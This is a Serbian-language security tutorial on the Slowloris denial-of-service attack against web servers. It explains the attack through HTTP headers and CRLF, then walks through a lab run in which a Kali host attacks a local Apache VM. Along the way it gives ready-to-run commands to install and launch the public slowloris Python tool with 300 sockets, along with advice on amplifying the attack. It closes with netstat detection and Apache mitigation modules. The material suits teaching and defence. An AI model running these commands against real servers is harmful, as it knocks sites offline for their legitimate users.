Slowloris DoS

U prethodnom delu smo se bavili DNS Spoofing napadom, opasnostima i načinima odbrane, dok ćemo u okviru ovog članka razmotriti Slowloris DoS napad koji je veoma specifičan i karakterističan je samo za web servere. Ako ikada imate nameru da postavite i održavate neki produkcioni web server, bilo bi dobro da razumete kako Slowloris radi, kako biste mogli adekvatno da se zaštitite.

DoS ili DDoS (Distributed Denial of service) napad, je pokušaj napadača da učini određeni računar nedostupnim korisnicima kojima je on namenjen. Poenta je onesposobiti mrežu, računar ili neki drugi deo infrastrukture, tako da ih pravi korisnici ne mogu koristiti.

Većina DoS napada spada u jednu od sledeće tri vrste:

  1. Napad na ranjive delove mreže – slanje nekoliko poruka na ranjive aplikacije ili operativne sisteme koje se izvršavaju na računaru koji je meta napada i na taj način određena usluga prestaje sa radom.
  2. Zakrčenje propusnog opsega – pristupni link napadnutog računara postaje zagušen od paketa kojima napadač preplavljuje napadnuti računar, čime se sprečava da pravi paketi dospeju na server.
  3. Plavljenje vezama – napadač uspostavlja veliki broj poluotvorenih ili potpuno otvorenih *TCP* veza prema računaru koji je meta napada i na taj način računar postaje prezauzet lažnim vezama do te mere da prestaje da prihvata ispravne veze.

Slowloris je vrsta napada za uskraćivanje usluge (DoS – Denial of service) trećeg tipa. Kreirao ga je Robert „RSnake“ Hansen. Ova tehnika omogućava zasebnom računaru da obori (učini nedostižnim) web server drugog računara. Ovakva vrsta DoS napada ostavlja minimalne posledice na ostale servise i portove.

Sama ideja ove vrste napada jeste da se ostvari što je moguće više konekcija ka napadnutom serveru i da se konekcije održe što je moguće duže. Ovu ideju je moguće realizovati kreiranjem konekcija ka serveru i slanjem dela zahteva. S vremena na vreme potrebno je poslati naredno HTTP zaglavlje, dopunjujući zahtev. Zahtev se zapravo nikada ne završava. Napadnuti server će držati ove veze otvorenim i time popuniti svoj maksimalni broj konekcija za paralelnu obradu. Nakon toga većina pokušaja konekcija ka serveru će biti odbijena.

HTTP protokol

HTTP je protokol za komunikaciju između servera i klijenta, koji funkcioniše po principu zahtev/odgovor. HTTP klijent inicira prenos podataka nakon što uspostavi TCP/IP vezu s udaljenim web serverom na određenom portu. Server konstantno osluškuje zahteve na određenom komunikacionom portu (tipično port 80), čekajući da se klijent poveže i pošalje svoj zahtev. Zahtev se sastoji od osnovne HTTP komande (čija je sintaksa propisana standardom i koja se sastoji od naziva komande, imena traženog dokumenta i verzije podržanog HTTP-a) i zaglavlja koje se sastoji od određenog broja redova teksta koji preciznije određuju aspekte zahteva.

Primer zahteva za dokument od strane klijenta:

`GET /index.html HTTP/1.1
Host: www.example.com`

Analiza jednog od HTTP GET zahteva može da nam pomogne u razumevanju same ideje Slowloris napada.

`GET /index.php HTTP/1.1[CRLF]
Pragma: no-cache[CRLF]
Cache-Control: no-cache[CRLF]
Host: testphp.vulnweb.com[CRLF]
Connection: Keep-alive[CRLF]
Accept-Encoding: gzip,deflate[CRLF]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36[CRLF]
Accept: /[CRLF][CRLF]`

Ono što je veoma bitno u GET zahtevu, koji je prikazan iznad, jeste [CLRF]. Carriage Return Line Feed (CRLF) jeste karakter koji se ne štampa, a njegova uloga zapravo jeste da označi kraj linije. Dakle jednim [CLRF] znakom se započinje nova linija, dok sa dva ([CLRF][CLRF]) nastaje prazna linija. HTTP protokol definiše kraj zaglavlja praznom linijom. Slowloris iskorišćava ovu situaciju tako što nikada ne šalje praznu liniju koja bi označila kraj zaglavlja. Da stvari budu još gore, paketi koji su poslati Slowlors napadom većina Intrusion Detection Systems (IDS) neće detektovati.

Izvođenje Slowloris DoS napada

Za demonstraciju Slowloris napada potreban nam je web server koji ćemo podići na Debian virtualnoj mašini, kao i jedan Kali Linux host koji će izvesti sam napad.

Normalna komunikacija i Slowloris napad

Na internetu mogu da se pronađu raznovrsne implementacije Slowloris DoS napada. Mi ćemo za demonstraciju koristiti verziju pisanu u Python-u koja je dostupna na GitHub-u.

Kako skripta funkcioniše

  1. Kreiramo što više konekcija.
  2. Šaljemo zaglavlja periodično, na svakih 15 sekundi, kako bi održali konekcije otvorenim.
  3. Nikada ne zatvaramo konekciju, osim ako to ne uradi server. Ako server zatvori konekciju, kreiramo novu i nastavimo sa istim postupkom.

Nakon određenog vremena, popuniće se maksimalan broj konekcija za paralelnu obradu i server će prestati da obrađuje nove zahteve.

Instalacija i pokretanje

Skriptu je moguće preuzeti kao izvorni kod sa GitHub-a ili instalirati Slowloris korišćenjem pip-a.

$ sudo apt install python3-pip
$ sudo pip3 install slowloris
$ slowloris test.com

Nakon ovoga pokrenut je Slowloris napad na test.com.

Ukoliko želite da klonirate projekat sa GitHub-a možete uraditi to na sledeći način.

$ git clone https://github.com/gkbrk/slowloris.git
$ cd slowloris
$ python3 slowloris.py example.com

Takođe je moguće definisati i broj konekcija upotrebom zastavice -s.

Pokrećemo napad ka lokalnom virtualnom Apache web serveru koji se nalazi na adresi 192.168.1.5 i portu 80. Pokrenućemo napad sa 300 konekcija.

root@192:~# slowloris 192.168.1.5 -s 300
[13-09-2018 14:08:59] Attacking 192.168.1.5 with 300 sockets.
[13-09-2018 14:08:59] Creating sockets...
[13-09-2018 14:08:59] Sending keep-alive headers... Socket count: 300
[13-09-2018 14:09:14] Sending keep-alive headers... Socket count: 300

Sama skripta nije toliko efikasna ukoliko je samostalna, oa bi iz tih razloga skriptu trebalo pokrenuti par puta, nakon čega očekujemo bolje rezultati. U virtualnom okruženju bilo je dovoljno duplo pokretanje skripte sa po 300 konekcija da server postane nedostižan. Kada je u pitanju realna situacija, sve zavisi od mašine koja je napadnuta.

Indetifikovanje Slowloris napada

Kako bismo proverili zauzeće na serveru, odnosno otvorene konekcije potrebno je instalirati određene alate:

# apt-get install net-tools

Koristićemo netstat kako bismo otkrili otvorene konekcije na serveru. Pošto se web server nalazi na portu 80, proveravaćemo port 80.

# netstat -nalt | grep :80

Izlaz bi trebalo da izgleda ovako:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 192.168.1.5:80          192.168.1.4:53348       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53682       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53406       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53496       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53686       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53782       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:53616       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53538       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53740       FIN_WAIT2  
tcp        0      0 192.168.1.5:80          192.168.1.4:53674       FIN_WAIT2  
tcp        0      0 192.168.1.5:80          192.168.1.4:53822       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:53630       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53500       FIN_WAIT2  
tcp        0      0 192.168.1.5:80          192.168.1.4:53502       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53400       ESTABLISHED  
tcp        0      0 192.168.1.5:80          192.168.1.4:53650       FIN_WAIT2  
tcp        0      0 192.168.1.5:80          192.168.1.4:53402       FIN_WAIT2  

Možemo da izdvojimo samo one konekcije koje su uspostavljene.

$ netstat -nalt | grep :80 | grep ESTA

tcp        0      0 192.168.1.5:80          192.168.1.4:54438       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54398       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54512       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54474       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54486       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54436       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54500       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54460       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54518       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54432       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54520       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54416       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54420       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54498       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54480       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54458       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54490       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54396       ESTABLISHED
tcp        0      0 192.168.1.5:80          192.168.1.4:54444       ESTABLISHED

Na kraju možemo da prebrojimo sve otvorene konekcije.

$ netstat -nalt | grep :80 | grep ESTA -c
75

Na osnovu broja konekcija kao i IP adresa sa kojih dolaze možemo da zaključimo da li neko izvodi Slowloris DoS napad nad našim web serverom.

Ublažavanje Slowloris napada

Iako nije lako odbraniti se od ovakve vrste napada, postoje mehanizmi kojima možemo da ublažimo i u velikoj meri redukujemo štetu koju proizvode. Prve mere zaštite podrazumevaju povećanje maksimalnog broja konekcija, kao i smanjenje broja konekcija koje mogu da se ostvare sa iste IP adrese. Potrebno je ograničiti minimalne dozvoljene brzine za konekciju i redukovati vreme koje klijent može da provede konektovan na istoj konekciji.

Pošto je Apache jedan od najzastupljenijih web servera, navešćemo neke module koje je moguće uključiti u Apache serveru koji pomažu kod ovakvih vrsta napada.

  • mod_limitipconn
  • mod_qos
  • mod_evasive
  • mod_security
  • mod_noloris
  • mod_antiloris
  • mod_reqtimeout

Zaključak

Demonstrirali smo kako Slowloris DoS funcioniše i šta je moguće uraditi povodom zaštite, ali zapravo svrha ovog teksta jeste da skrene pažnju na to koliko je lako izvesti ovakve vrste napada i koliko je bitno štititi se od njih blagovremeno. Bezbednost u ovakvim situacijama se najbolje postiže preventivno.

Literatura i korisni linkovi

Dodatni materijal možete potražiti na nekom od sledećih linkova: